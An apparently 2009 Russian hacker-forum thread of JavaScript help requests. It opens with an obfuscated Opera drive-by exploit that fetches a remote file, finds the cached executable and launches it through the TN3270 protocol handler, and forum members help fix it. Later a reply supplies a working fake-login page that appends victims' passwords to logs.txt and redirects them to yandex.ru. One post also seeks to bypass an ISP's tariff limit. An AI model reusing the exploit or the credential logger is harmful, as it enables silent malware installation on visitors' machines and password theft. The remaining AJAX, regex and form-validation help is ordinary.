("co"+"n"+"fi"+"g"+"_"+"if"+"ra"+"m"+"e = d"+"ocum"+"en"+"t"+"."+"cr"+"ea"+"te"+"Ele"+"ment('iframe');\
config_iframe.setAttribute('id', 'config_iframe_window');\
config_iframe.src = 'opera:config';\
document.appendChild(config_iframe);\
app_iframe = document.createElement('script');\
cache_iframe = document.createElement('iframe');\
app_iframe.src = СЮДА;\
app_iframe.onload = function ()\
{\
cache_iframe.src = 'opera:cache';\
cache_iframe.onload = function ()\
{\
cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\
var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\
filename = cache.match(re);\
config_iframe_window.eval\
(\"\
opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\
app_link = document.createElement('a');\
app_link.setAttribute('href', 'tn3270://nothing');\
app_link.click();\
setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\
\");\
};\
document.appendChild(cache_iframe);\
};\
document.appendChild(app_iframe);");
var xyz = 123;
var xxy = 112;
function sum(xyz,xxy) {
return (xyz + xxy); }
</script>
В скрипте определяется путь до файла load.php, после чего результат должен быть вставлен в поле (переменная url), обозначенное как СЮДА, но, почему-то, вставляться не хочет... Как это сделать?
P.S. Надо именно на javascript, не на php. В яве ноль, Pashkela, выручай ;)
m0nsieur
01.07.2009, 14:59
что-то я не понял смысл этого выражения - var arr=reg.exec(location.href); ....
попробуй в начале заменить на вот это
var tmp=location.href;
var file = 'load.php';
var arr = tmp.match(/http:\/\/(.*)\//);
var url = 'http://'+arr[1]+'/'+file;
и ниже строчку где надпись СЮДА
app_iframe.src = url;\
p.s. у себя попробовал, где-то дальше отваливается, но у меня фф, может на опере не будет.
Я так и делаю. Как ты выразился - "отваливается".
m0nsieur
01.07.2009, 15:31
я ошибся со вторым выражением, должно быть так..
app_iframe.src = '"+url+"';\
но фф все равно дальше ругается, даже самому стало интересно.
Нужна функция для перевода символов в hex вида %ue2e на яве... В инете не пашет ничего, если и есть. Мб руки кривые... Помогите плз.. Спасибо :)
Подскажите пожалуйста как из одного js файла вызвать другой?
например есть файлик 1.js мне нужно в конце подгрузить код из файла 2.js
спасибо
Нет ли у кого примера JavaScript фукнции при вызове которой мы можем вставлять ссылки в textarea
типа как тут на форуме вставка ссылки нужа такая же.
если у кого есть,помогите.
Спасибо.
heretic1990
06.07.2009, 17:38
вобщем такая проблемма:
мне надо открыть pop-up , а перед открытием выскакивало окно с предупреждением
если я делаю так то ссылка открывается в одном окне, а не в поп-апе((
<a onclick="return confirm('открыть?');" href="test.php" onclick="NewWindow(this.href,'тест','180','150','no','c enter');return false" onfocus="this.blur()">открыть окно</a>
или так
<a href="test.php" onclick="return confirm('открыть?'); NewWindow(this.href,'тест','180','150','no','c enter')" onfocus="this.blur()">открыть окно</a>
код поп-апа
<script language="javascript" type="text/javascript">
var win=null;
function NewWindow(mypage,myname,w,h,scroll,pos){
if(pos=="random"){LeftPosition=(screen.width)?Math.floor(Math.rand om()*(screen.width-w)):100;TopPosition=(screen.height)?Math.floor(Mat h.random()*((screen.height-h)-75)):100;}
if(pos=="center"){LeftPosition=(screen.width)?(screen.width-w)/2:100;TopPosition=(screen.height)?(screen.height-h)/2:100;}
else if((pos!="center" && pos!="random") || pos==null){LeftPosition=0;TopPosition=20}
settings='width='+w+',height='+h+',top='+TopPositi on+',left='+LeftPosition+',scrollbars='+scroll+',l ocation=no,directories=no,status=no,menubar=no,too lbar=no,resizable=no';
win=window.open(mypage,myname,settings);
if(win.focus){win.focus();}}
function CloseNewWin(){if(win!=null && win.open)win.close()}
window.onfocus=CloseNewWin;
</script>
помогите пожалуйста!
P.S. с меня плюсы!
[n]-c0der
06.07.2009, 23:34
признаюсь я балбес, и не имел до этого дела с Ajax, Делаю запросы, они не пашут(, что нужно для работы Ajax? браузер Mozilla... мне стремно за такой вопрос, но все же...
браузер не имеет значения, почитай о библиотеке jquery с ней будет проще начать работать с ajax
Вот пример кода, как я обычно через ajax изменял один div. Большего мне не требовалось. Сейчас же надо, чтобы нажатие кнопки изменяло 2 и более div'ов.
Подскажите, как? Без использования jquery и подобных библиотек.
Спасибо.
test.php
var request;
var dest;
function processStateChange(){
if (request.readyState < 4) document.getElementById(dest).innerHTML = "Загрузка...";
if (request.readyState == 4){
contentDiv = document.getElementById(dest);
if (request.status == 200){
response = request.responseText ;
contentDiv.innerHTML = response;
} else {
contentDiv.innerHTML = "Error: Status "+request.status;
}
}
}
function test1( destination ){
dest = destination;
URL = "test_print.php";
arg = "act=" + dest ;
if (window.XMLHttpRequest){
request = new XMLHttpRequest();
request.onreadystatechange = processStateChange;
request.open("POST", URL, true);
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request.send(arg);
} else if (window.ActiveXObject) {
request = new ActiveXObject("Microsoft.XMLHTTP");
if (request) {
request.onreadystatechange = processStateChange;
request.open("POST", URL, true);
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request.send(arg);
}
}
}
<div id="t1"> 1 </div>
<div id="t2"> 2 </div>
<input type="button" onclick="test1('t1')" value="go">
test_print.php
<?print "1111"?>
[n]-c0der
07.07.2009, 17:18
браузер не имеет значения, почитай о библиотеке jquery с ней будет проще начать работать с ajax
activex разрешать не обязательно?
imajo.ati
08.07.2009, 15:42
-c0der']activex разрешать не обязательно?нужно разрешить исполнение подписанных activeX сценариев а то xmlhttp объект в IE не создастся
Вот простенький javascript (тест на 25 вопросов):
<SCRIPT language=JavaScript>
var res="1111122222333334444411111"
function check_me()
{
var count=0
with(document.test)
{
if (!Q1[0].checked&&!Q1[1].checked&&!Q1[2].checked&&!Q1[3].checked) {count+=1};
if (!Q2[0].checked&&!Q2[1].checked&&!Q2[2].checked&&!Q2[3].checked) {count+=1};
if (!Q3[0].checked&&!Q3[1].checked&&!Q3[2].checked&&!Q3[3].checked) {count+=1};
if (!Q4[0].checked&&!Q4[1].checked&&!Q4[2].checked&&!Q4[3].checked) {count+=1};
if (!Q5[0].checked&&!Q5[1].checked&&!Q5[2].checked&&!Q5[3].checked) {count+=1};
if (!Q6[0].checked&&!Q6[1].checked&&!Q6[2].checked&&!Q6[3].checked) {count+=1};
if (!Q7[0].checked&&!Q7[1].checked&&!Q7[2].checked&&!Q7[3].checked) {count+=1};
if (!Q8[0].checked&&!Q8[1].checked&&!Q8[2].checked&&!Q8[3].checked) {count+=1};
if (!Q9[0].checked&&!Q9[1].checked&&!Q9[2].checked&&!Q9[3].checked) {count+=1};
if (!Q10[0].checked&&!Q10[1].checked&&!Q10[2].checked&&!Q10[3].checked) {count+=1};
if (!Q11[0].checked&&!Q11[1].checked&&!Q11[2].checked&&!Q11[3].checked) {count+=1};
if (!Q12[0].checked&&!Q12[1].checked&&!Q12[2].checked&&!Q12[3].checked) {count+=1};
if (!Q13[0].checked&&!Q13[1].checked&&!Q13[2].checked&&!Q13[3].checked) {count+=1};
if (!Q14[0].checked&&!Q14[1].checked&&!Q14[2].checked&&!Q14[3].checked) {count+=1};
if (!Q15[0].checked&&!Q15[1].checked&&!Q15[2].checked&&!Q15[3].checked) {count+=1};
if (!Q16[0].checked&&!Q16[1].checked&&!Q16[2].checked&&!Q16[3].checked) {count+=1};
if (!Q17[0].checked&&!Q17[1].checked&&!Q17[2].checked&&!Q17[3].checked) {count+=1};
if (!Q18[0].checked&&!Q18[1].checked&&!Q18[2].checked&&!Q18[3].checked) {count+=1};
if (!Q19[0].checked&&!Q19[1].checked&&!Q19[2].checked&&!Q19[3].checked) {count+=1};
if (!Q20[0].checked&&!Q20[1].checked&&!Q20[2].checked&&!Q20[3].checked) {count+=1};
if (!Q21[0].checked&&!Q21[1].checked&&!Q21[2].checked&&!Q21[3].checked) {count+=1};
if (!Q22[0].checked&&!Q22[1].checked&&!Q22[2].checked&&!Q22[3].checked) {count+=1};
if (!Q23[0].checked&&!Q23[1].checked&&!Q23[2].checked&&!Q23[3].checked) {count+=1};
if (!Q24[0].checked&&!Q24[1].checked&&!Q24[2].checked&&!Q24[3].checked) {count+=1};
if (!Q25[0].checked&&!Q25[1].checked&&!Q25[2].checked&&!Q25[3].checked) {count+=1};
if (count>0) {alert("Вы выполнили не все задания. Проверьте себя.")}
else answer()
}
}
function control(k,f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,f 13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,f24,f25 )
{
if (k==1&&f1.checked) return true;
if (k==2&&f2.checked) return true;
if (k==3&&f3.checked) return true;
if (k==4&&f4.checked) return true;
if (k==5&&f5.checked) return true;
if (k==6&&f6.checked) return true;
if (k==7&&f7.checked) return true;
if (k==8&&f8.checked) return true;
if (k==9&&f9.checked) return true;
if (k==10&&f10.checked) return true;
if (k==11&&f11.checked) return true;
if (k==12&&f12.checked) return true;
if (k==13&&f13.checked) return true;
if (k==14&&f14.checked) return true;
if (k==15&&f15.checked) return true;
if (k==16&&f16.checked) return true;
if (k==17&&f17.checked) return true;
if (k==18&&f18.checked) return true;
if (k==19&&f19.checked) return true;
if (k==20&&f20.checked) return true;
if (k==21&&f21.checked) return true;
if (k==22&&f22.checked) return true;
if (k==23&&f23.checked) return true;
if (k==24&&f24.checked) return true;
if (k==25&&f25.checked) return true;
return false;
}
function answer()
{
answ="";
with(document)
{
answ+=control(res.charAt(0),test.Q1[0],test.Q1[1],test.Q1[2],test.Q1[3])?"1":"0"
answ+=control(res.charAt(1),test.Q2[0],test.Q2[1],test.Q2[2],test.Q2[3])?"1":"0"
answ+=control(res.charAt(2),test.Q3[0],test.Q3[1],test.Q3[2],test.Q3[3])?"1":"0"
answ+=control(res.charAt(3),test.Q4[0],test.Q4[1],test.Q4[2],test.Q4[3])?"1":"0"
answ+=control(res.charAt(4),test.Q5[0],test.Q5[1],test.Q5[2],test.Q5[3])?"1":"0"
answ+=control(res.charAt(5),test.Q6[0],test.Q6[1],test.Q6[2],test.Q6[3])?"1":"0"
answ+=control(res.charAt(6),test.Q7[0],test.Q7[1],test.Q7[2],test.Q7[3])?"1":"0"
answ+=control(res.charAt(7),test.Q8[0],test.Q8[1],test.Q8[2],test.Q8[3])?"1":"0"
answ+=control(res.charAt(8),test.Q9[0],test.Q9[1],test.Q9[2],test.Q9[3])?"1":"0"
answ+=control(res.charAt(9),test.Q10[0],test.Q10[1],test.Q10[2],test.Q10[3])?"1":"0"
answ+=control(res.charAt(10),test.Q11[0],test.Q11[1],test.Q11[2],test.Q11[3])?"1":"0"
answ+=control(res.charAt(11),test.Q12[0],test.Q12[1],test.Q12[2],test.Q12[3])?"1":"0"
answ+=control(res.charAt(12),test.Q13[0],test.Q13[1],test.Q13[2],test.Q13[3])?"1":"0"
answ+=control(res.charAt(13),test.Q14[0],test.Q14[1],test.Q14[2],test.Q14[3])?"1":"0"
answ+=control(res.charAt(14),test.Q15[0],test.Q15[1],test.Q15[2],test.Q15[3])?"1":"0"
answ+=control(res.charAt(15),test.Q16[0],test.Q16[1],test.Q16[2],test.Q16[3])?"1":"0"
answ+=control(res.charAt(16),test.Q17[0],test.Q17[1],test.Q17[2],test.Q17[3])?"1":"0"
answ+=control(res.charAt(17),test.Q18[0],test.Q18[1],test.Q18[2],test.Q18[3])?"1":"0"
answ+=control(res.charAt(18),test.Q19[0],test.Q19[1],test.Q19[2],test.Q19[3])?"1":"0"
answ+=control(res.charAt(19),test.Q20[0],test.Q20[1],test.Q20[2],test.Q20[3])?"1":"0"
answ+=control(res.charAt(20),test.Q21[0],test.Q21[1],test.Q21[2],test.Q21[3])?"1":"0"
answ+=control(res.charAt(21),test.Q22[0],test.Q22[1],test.Q22[2],test.Q22[3])?"1":"0"
answ+=control(res.charAt(22),test.Q23[0],test.Q23[1],test.Q23[2],test.Q23[3])?"1":"0"
answ+=control(res.charAt(23),test.Q24[0],test.Q24[1],test.Q24[2],test.Q24[3])?"1":"0"
answ+=control(res.charAt(24),test.Q25[0],test.Q25[1],test.Q25[2],test.Q25[3])?"1":"0"
showResult();
}
}
function showResult()
{
var nok=0;
var i,s;
for (i=0;i<answ.length;i++) {nok+=answ.charAt(i)=="1"?1:0;}
if(nok<=6) s='"ОЧЕНЬ ПЛОХО"';
if(nok>6 && nok<10) s='"НЕУДОВЛЕТВОРИТЕЛЬНО"';
if(nok==10) s='"НЕУДОВЛЕТВОРИТЕЛЬНО"';
if(nok>10 && nok<15) s='"УДОВЛЕТВОРИТЕЛЬНО"';
if(nok==15) s='"УДОВЛЕТВОРИТЕЛЬНО"';
if(nok>15 && nok<21) s='"ХОРОШО"';
if(nok==21) s='"ХОРОШО"';
if(nok>21) s='"ОТЛИЧНО"';
document.test.s1.value="Количество правильных ответов "+nok+" из 25. Ваша оценка "+s+". Загляните в окно рядом с номером задания. Если ответ правильный, то там (+). Если Вы ошиблись, там (-).";
with(document.test)
{
if (answ.charAt(0)=="1") {T1.value=" +"} else {T1.value=" -"};
if (answ.charAt(1)=="1") {T2.value=" +"} else {T2.value=" -"};
if (answ.charAt(2)=="1") {T3.value=" +"} else {T3.value=" -"};
if (answ.charAt(3)=="1") {T4.value=" +"} else {T4.value=" -"};
if (answ.charAt(4)=="1") {T5.value=" +"} else {T5.value=" -"};
if (answ.charAt(5)=="1") {T6.value=" +"} else {T6.value=" -"};
if (answ.charAt(6)=="1") {T7.value=" +"} else {T7.value=" -"};
if (answ.charAt(7)=="1") {T8.value=" +"} else {T8.value=" -"};
if (answ.charAt(8)=="1") {T9.value=" +"} else {T9.value=" -"};
if (answ.charAt(9)=="1") {T10.value=" +"} else {T10.value=" -"};
if (answ.charAt(10)=="1") {T11.value=" +"} else {T11.value=" -"};
if (answ.charAt(11)=="1") {T12.value=" +"} else {T12.value=" -"};
if (answ.charAt(12)=="1") {T13.value=" +"} else {T13.value=" -"};
if (answ.charAt(13)=="1") {T14.value=" +"} else {T14.value=" -"};
if (answ.charAt(14)=="1") {T15.value=" +"} else {T15.value=" -"};
if (answ.charAt(15)=="1") {T16.value=" +"} else {T16.value=" -"};
if (answ.charAt(16)=="1") {T17.value=" +"} else {T17.value=" -"};
if (answ.charAt(17)=="1") {T18.value=" +"} else {T18.value=" -"};
if (answ.charAt(18)=="1") {T19.value=" +"} else {T19.value=" -"};
if (answ.charAt(19)=="1") {T20.value=" +"} else {T20.value=" -"};
if (answ.charAt(20)=="1") {T21.value=" +"} else {T21.value=" -"};
if (answ.charAt(21)=="1") {T22.value=" +"} else {T22.value=" -"};
if (answ.charAt(22)=="1") {T23.value=" +"} else {T23.value=" -"};
if (answ.charAt(23)=="1") {T24.value=" +"} else {T24.value=" -"};
if (answ.charAt(24)=="1") {T25.value=" +"} else {T25.value=" -"};
}
}
</SCRIPT>
Firebug выдает ошибку: uncaught exception: [Exception... "Not enough arguments [nsIDOMWindowInternal.scroll]"
nsresult: "0x80570001 (NS_ERROR_XPC_NOT_ENOUGH_ARGS)" location: "JS frame :: file:///G:/%D0...0%B2.html :: onload :: line 1" data: no]
Может кто объяснить, в чем тут дело? A то я новичек, потому никак и не соображу, чего Firebug ругается :rolleyes:
Pashkela
08.07.2009, 22:29
А что, весь код из яваскрипта состоит? Молодец
Просто кроме этого куска, больше ничего не изменялось. А в исходнике никаких ошибок не обнаруживается.
как на jquery получить то что стоит в строке адреса после #?
m0nsieur
09.07.2009, 15:19
если правильно тебя понял, то так, без jquery правда..
var tmp='https://forum.antichat.ru/threadnav128933-2-10.html#goto_threadrating'; // заменить на location.href
var arr = tmp.match(/#(.+)/);
alert(arr[1]);// выведет goto_threadrating
Не могу разобраться, есть у меня скрипт проверки Тиц и PR , там есть функция:
$(document).ready(function(){
$('#check').click(function(){
if( !$('#url_list').val().length ){
alert('Введите хотябы один url');
return false;
}
/*$('#result').html('<tr class="table_header"><td width="50%" height="25">URL (домен)</td><td width="25%">PR</td><td width="25%">ТИЦ</td></tr>');*/
var url_array = $('#url_list').val().split(/[\n\r]+/);
document.all.result_div.style.display="block";
document.all.result_table.style.display="block";
for( var i = 0; i < url_array.length; i++ ){
color = (i % 2 == 0) ? 'F5F5EA' : 'FFFCF8';
$('#result').append('<tr bgcolor="#'+ color +'"><td width="50%">'+ url_array[i] +'</td><td id="p_'+ i +'" width="25%"><img src="../../../cncat_engine/images/load_small.gif" border="0" /></td><td id="t_'+ i +'" width="25%"><img src="../../../cncat_engine/images/load_small.gif" border="0" /></td></tr>')
get_pr(url_array[i],i);
get_yandex(url_array[i],i);
}
});
}); Всё ок, но вот, если нажать потом на кнопку еще раз, табличка начинает ниже плодить ряды, а мне нужно, чтобы всё удалялось и по новой появлялось. Как мне удалить эти <tr><td></td></tr> ? :confused:
m0nsieur
10.07.2009, 15:51
в самом начале функции сделай
$('#result').empty();
m0nsieur, большое спасибо! То что нужно! :)
Проблема такова,как сделать глобальные переменные в eval?
есле сделать так:
function fff(){
eval("var name=value");
}
То поза функцыей fff переменная name доступна не будет,как ето исправить?
FireFenix
13.07.2009, 02:58
объявить переменную перед функцией и присвоить значение в функции?
Невозможно....Тут то и дело в самой переменной!
eval("var mix"+rnd+"gh='"+value+"';");
в итоге выходит
var mixbiggh='myvalueBIG';
тут дело в том и состоит,задать имя переменной с других переменных...
Есь такой код:
<script>
function decrypt(n)
{
var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
location.replace(document.location + "?decr=" + q);
}
</script>
<input type="text" id="encr"/><br/>
<input type="button" name="decr" onclick="decrypt(document.getElementById('encr').value)" value="decrypt"/>
<?php
if(isset($_GET['decr']))
{
// $f=fopen("out.txt", "w");
// fwrite($f, $_GET['decr']);
echo $pr;
}
?>
Так вот он знак + воспринимает как команду. Как заставить его воспринимать как символ?
P.S. Если ввести в поле "+", то он его не выведет, что говорит о том, что он не воспринимает как символ. Как сделать, чтобы он его выводил? :(
imajo.ati
14.07.2009, 08:56
оно ничего не выводит, q = ""
используй encodeURIComponent() для того чтобы + не воспринимался как пробел
Спс, сделал, как ты сказал, все пашет терь :)
Здрасти!
Мене нужно сделать скрипт на технологии аякс.
Суть такова.
Как сделать чтобы пост-запрос отправляющийся через форму, сразу давал вывод информации без перезагрузки страницы?
function page_all(form) {
strAlert1 = "";if (form.com_author.value == "") strAlert1 = "- Имя\n";
strAlert2 = "";
if (((form.com_em.value.indexOf("@")) < 2) || ((form.com_em.value.indexOf(".")) < 2) || ((form.com_em.value.length) < 8))
{strAlert2 = "- e-mail\n";}
strAlert3 = "";if (form.com_city.value == "") strAlert3 = "- Город\n";
strAlert4 = "";if (form.com_text.value == "") strAlert4 = "- Комментарий\n";
strAlert5 = "";if (form.regcode.value == "") strAlert5 = "- Защитный код\n";
strAlert = strAlert1 + strAlert2 + strAlert3 + strAlert4 + strAlert5;
if (strAlert != "") {alert ("Пожалуйста, заполните поля:\n" + strAlert);return false;}
}
есть такой яваскрипт в движке, а именно в чате. так вот как сделать так, чтобы при вводе в коменнтарий(com_text) определенных символов, например: http://, a href. он выдавал ошибку, ату спамеры надаели балин, затраxали честное слово :(
imajo.ati
17.07.2009, 09:45
<form id="form"><textarea name="com_text" onkeyup="aaa()"></textarea></form>
<script>
function aaa()
{
var reg = new RegExp(/http:\/\/|a[^h]+href/g);
if ( form.com_text.value.match(reg) )
{
form.com_text.value = form.com_text.value.replace(reg,"");
alert('no spam!');
}
}
</script>
адаптируй под себя
блин че то руки у меня кривые, вот пишу так:
function page_all(form) {
strAlert1 = "";if (form.book_author.value == "") strAlert1 = "- Имя\n";
var reg = new RegExp(/http:\/\/|a[^h]+href/g);if ( form.com_text.value.match(reg) )
{
form.com_text.value = form.com_text.value.replace(reg,"");
alert('no spam!');
}
strAlert3 = "";if (form.regcode.value == "") strAlert3 = "- Защитный код\n";
strAlert = strAlert1 + strAlert2 + strAlert3;
if (strAlert != "") {alert ("Пожалуйста, заполните поля:\n" + strAlert);return false;}
}
imajo.ati
17.07.2009, 14:06
function page_all(form)
{
strAlert1 = "";
if ( form.com_author.value == "" )
strAlert1 = "- Имя\n";
strAlert2 = "";
if ( ((form.com_em.value.indexOf("@")) < 2) || ((form.com_em.value.indexOf(".")) < 2) || ((form.com_em.value.length) < 8) )
strAlert2 = "- e-mail\n";
strAlert3 = "";
if ( form.com_city.value == "" )
strAlert3 = "- Город\n";
strAlert4 = "";
if ( form.com_text.value == "" )
strAlert4 = "- Комментарий\n";
else
{
var reg = new RegExp(/http:\/\/|a[^h]+href/g);
if ( form.com_text.value.match(reg) )
form.com_text.value = form.com_text.value.replace(reg,"");
// или какое-нибудь действие вместо удаления символов
}
strAlert5 = "";
if ( form.regcode.value == "" )
strAlert5 = "- Защитный код\n";
strAlert = strAlert1 + strAlert2 + strAlert3 + strAlert4 + strAlert5;
if ( strAlert != "" )
{
alert("Пожалуйста, заполните поля:\n" + strAlert);
return false;
}
}
извиняюсь правда меня интересует такой же вопрос как и в eboome но чуть друго
извиняюсь правда меня интересует такой же вопрос как и в eboome но чуть другой мне нужно чтоб без нажатия кнопки приисходил отправка резуьтата и сразу ответ.. пример такой вконтакте при в фильтра друзей..
Зарания спасибо
FireFenix
20.07.2009, 23:59
Запускай по событии onChange
К примеру :
<input name="text" type="text" onChange="javascript:script()">
Приветствую, есть вопрос.. поднял у себя Апач. начал работу с Ajax. есть скрипт где такие строчки:
var xhr=new XMLHttpRequest();
xhr.open("GET", "http://localhost/ajax/main.xml");
(в место локалхоста пробовал и на сайты выкладывать)
адрес правильный.. но Firebug мозиллы сообщает что:
Access to restricted URI denied" code: "1012
xhr.open("GET", "http://localhost/ajax/main.xml");\n
в чём может быть проблема?
imajo.ati
22.07.2009, 07:16
попробуй относительный путь
043nKRuT0y
22.07.2009, 16:07
Приветствую !
В джаве первый раз - нужна помощь !
Есть такая форма :
<FORM method="post" name="login" id="login" onsubmit="login(); return false;">
<LABEL for="email">Email:</LABEL>
<INPUT class="inputText" onclick="show('expirePad');" type="text" name="email" id="email" size="20">
<LABEL for="pass">Пароль:</LABEL>
<INPUT class="inputText" onclick="show('expirePad');" type="password" name="pass" id="pass" size="20">
При нажатие на кнопку будет вызываться функция login(); Так вот - приведите пример функции чтобы значения этих двух полей постоянно дозаписывались в файл ! И сразу после записи переадресовывать на страницу скажем main.php !
Заранее спс !
Приветствую !
bla bla bla....
При нажатие на кнопку будет вызываться функция login(); Так вот - приведите пример функции чтобы значения этих двух полей постоянно дозаписывались в файл ! И сразу после записи переадресовывать на страницу скажем main.php !
Заранее спс !
Пример будет из нескольких файлов, и понадобиться еще серверный скриптовый язык... Для примера - php.
login.html:
<html>
<head>
<script language="javascript" type="text/javascript" src="ajaxget.js"></script>
</head>
<body>
<form name=fakeLogin onsubmit="return logAccount();">
<input type=text name=victimPass />
<input type=submit />
</form>
<p><span id="loginspan"></span></p>
</body>
</html>
ajaxget.js:
var http_request = false;
function makeRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
// set type accordingly to anticipated content type
//http_request.overrideMimeType('text/xml');
http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('GET', url + parameters, true);
http_request.send(null);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
//alert(http_request.responseText);
result = http_request.responseText;
document.getElementById('loginspan').innerHTML = result;
document.location = 'http://yandex.ru/';
} else {
alert('There was a problem with the request.');
}
}
}
function logAccount() {
var f = document.forms['fakeLogin'];
makeRequest('fake.php','?password='+encodeURI(f.vi ctimPass.value));
return false;
}
fake.php:
<?php
if(isset($_GET['password'])){
$password= $_GET['password'];
if ($fp = fopen("logs.txt","a")) {
fputs($fp,$password."\n");
}
echo 'good password, welcome';
} else {
echo 'bad password';
}
?>
Принцип такой, заходим на login.html, вводим пароль, нам говорят что мы успешно вошли и нас перекидывает на yandex.ru. При этом пароль сохраняется на сервере в файле logs.txt.
043nKRuT0y
23.07.2009, 00:08
Вроде все правильно скопил и файлы по создавал , на ДЕНВЕРЕ запустил никакого файла нигде не создается ! Попроще функции нету ???
Может проблему легче на ПХП решить ?
Смотри внимательно исходники, файл ajaxget.js, функция logAccount(), вторая строка. Я все правильно вставил в форум, но запостилось почему-то с таинственными пробелами. В листинге encodeURI(f.vi ctimPass.value), а должно быть БЕЗ пробелов, просто f.victimPass.value, попробуй так, должно работать. В других местах вроде опечаток нет. Вроде.
з.ы. на пхп конечно проще, но ты же сам задал вопрос в теме про ajax и js.
BiG_][aKeR
23.07.2009, 12:00
Помогите,нужен аналог етому,с пхп...
preg_match_all('#Text(.*?)Text2#is',$page,$remixem ail);
Чтоб в переменной искало и копировало текст между Text и Text2 в другую переменную,спс...
Pashkela
23.07.2009, 12:34
<script type="text/javascript">
var testString = '34893275 Text lolo Text2 3535 Text lolo1 Text2 34893275 Text lolo2 Text2 3535 Text lolo3 Text2';
var re = /Text(.*?)Text2/g;
while (matches = re.exec(testString)) {
document.write(matches[1]);
}
</script>
BiG_][aKeR
23.07.2009, 12:45
хм,пример то пашет,но дело в том что testString ето вся html страница,с тысячами символов,вот в ней не пашет,ничего не выводит((
Pashkela
23.07.2009, 12:58
ну дык дай пример такой страницы, сюда не влезет - залей куда-нибудь
BiG_][aKeR
23.07.2009, 13:04
Всё,вопрос отпал,то я протупил,спасибо огромное!!!:)))
так поцаны, помогите здесь.
Есть страничка с дивом туда инклюдится скрипт пхп. в этом скрипте форма кое какая.
надо сделать так, чтобы при нажатии на кнопку Выполнить в том диве, скрипт выполнялся но страница не перезагружалась. т.е. только тот блок.
FireFenix
23.07.2009, 14:08
http://forum.antichat.ru/showpost.php?p=1389122&postcount=11
<div id="div_submit" onClick="javascript:test(параметры)">Тест</div>
прикрутить к диву
var type = document.getElementById("type");
var url = 'modules/test.php?what=' + type.value;
заменить на своё
//Выполнение действия с результатом php ответа text
Заменить своим обработчиком или вызовом функи. Как пример : document.getElementById("div_submit").innerHTML = text;
P.S. Откопал старый примерчег по AJAX - http://rapidshare.com/files/256201845/user-proofing-ajax.zip.html
BiG_][aKeR
24.07.2009, 14:45
В переменной testString есть такие денные
<a href="video1449_14935">
<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>
</a>
</div>
</td>
<td width="365px" style="vertical-align:top">
<div style="padding-top:5px" id="videoInfo935">
<div class="aname"><a href="video49_4935">
Вот так пытаюсь скопировать значение:
var re = /d6294195251(.*?)aname/g;
while (matches = re.exec(testString)) {
var matchese=matches[1];
}
alert(matchese);
Почему не работает понятия не имею,в matchese выводит unfernied а в matches выводит null,кто знает в чём трабла??
imajo.ati
24.07.2009, 17:37
[aKeR']кто знает в чём трабла??
так работает?
<script type="text/javascript">
var testString = '\
<a href="video1449_14935">\
<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>\
</a>\
</div>\
</td>\
<td width="365px" style="vertical-align:top">\
<div style="padding-top:5px" id="videoInfo935">\
<div class="aname"><a href="video49_4935">\
';
var re = new RegExp(/d6294195251(.*?)aname/g);
var result = new Array();
var i=0;
while ( matches = re.exec(testString) )
{
result[i++] = matches[1];
}
alert(result);
</script>
BiG_][aKeR
24.07.2009, 19:46
Не а,вылетает пустой алерт...
так поцаны, помогите здесь.
Есть страничка с дивом туда инклюдится скрипт пхп. в этом скрипте форма кое какая.
надо сделать так, чтобы при нажатии на кнопку Выполнить в том диве, скрипт выполнялся но страница не перезагружалась. т.е. только тот блок.
Друг мой, ты по проще выражай мысль, а то черезчур таинственно получилось. Тут есть два варианта:
1) по событию onsubmit формы создавать фрейм, который указывать в качестве цели запроса форме. тогда результат завпроса вернется непосредственно в этот фрейм. По событию onload фрейма сможешь забрать из него ответ. Учти, это костыль и тянется со старых времен.
2) по событию onsubmit формы собирать данные по форме, составить из них запрос и воспользоваться xmlhttpreques для передачи данных скрипту и возвращать false чтоб форма ничего не отправляла
FireFenix
25.07.2009, 02:59
Вот так пытаюсь скопировать значение:
var re = /d6294195251(.*?)aname/g;
while (matches = re.exec(testString)) {
var matchese=matches[1];
}
alert(matchese);
Почему не работает понятия не имею,в matchese выводит unfernied а в matches выводит null,кто знает в чём трабла??
У тебя регулярка не правильная... чего ты хочешь ей сделать?
Вот так, если нужно изъять адрес:
<script type="text/javascript">
var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' +
'<div class="aname"><a href="video49_4935"> ';
var re = new RegExp('/<img src="([^"]*)"/g');
var result = new Array();
var i = 0;
matches = re.exec(testString);
alert(matches[1]);
</script>
Scorpion2007
25.07.2009, 19:36
Как мне правильно прописать в адресной строке, чтобы изменить скорость инета в личном кабинете? У меня такой тариф, что мне мешает строка
} else {
alert('Вы не можете сменить скорость для данного тарифа');
Хотя я точно знаю что можно. Вот кусочек скрипта
function ChangeSpeed() {
if (NewSpeed.length > 1) {
speed = NewSpeed.options[NewSpeed.selectedIndex].value;
if (confirm("Вы уверены что хотите сменить скорость подписки 234762 на " + speed + "Kbps ?")) {
document.location = "/?ac:string=234762&md:string=SettingsAction&smd:string=ChangeSpeed&speed:digit=" + speed;
}
} else {
alert('Вы не можете сменить скорость для данного тарифа');
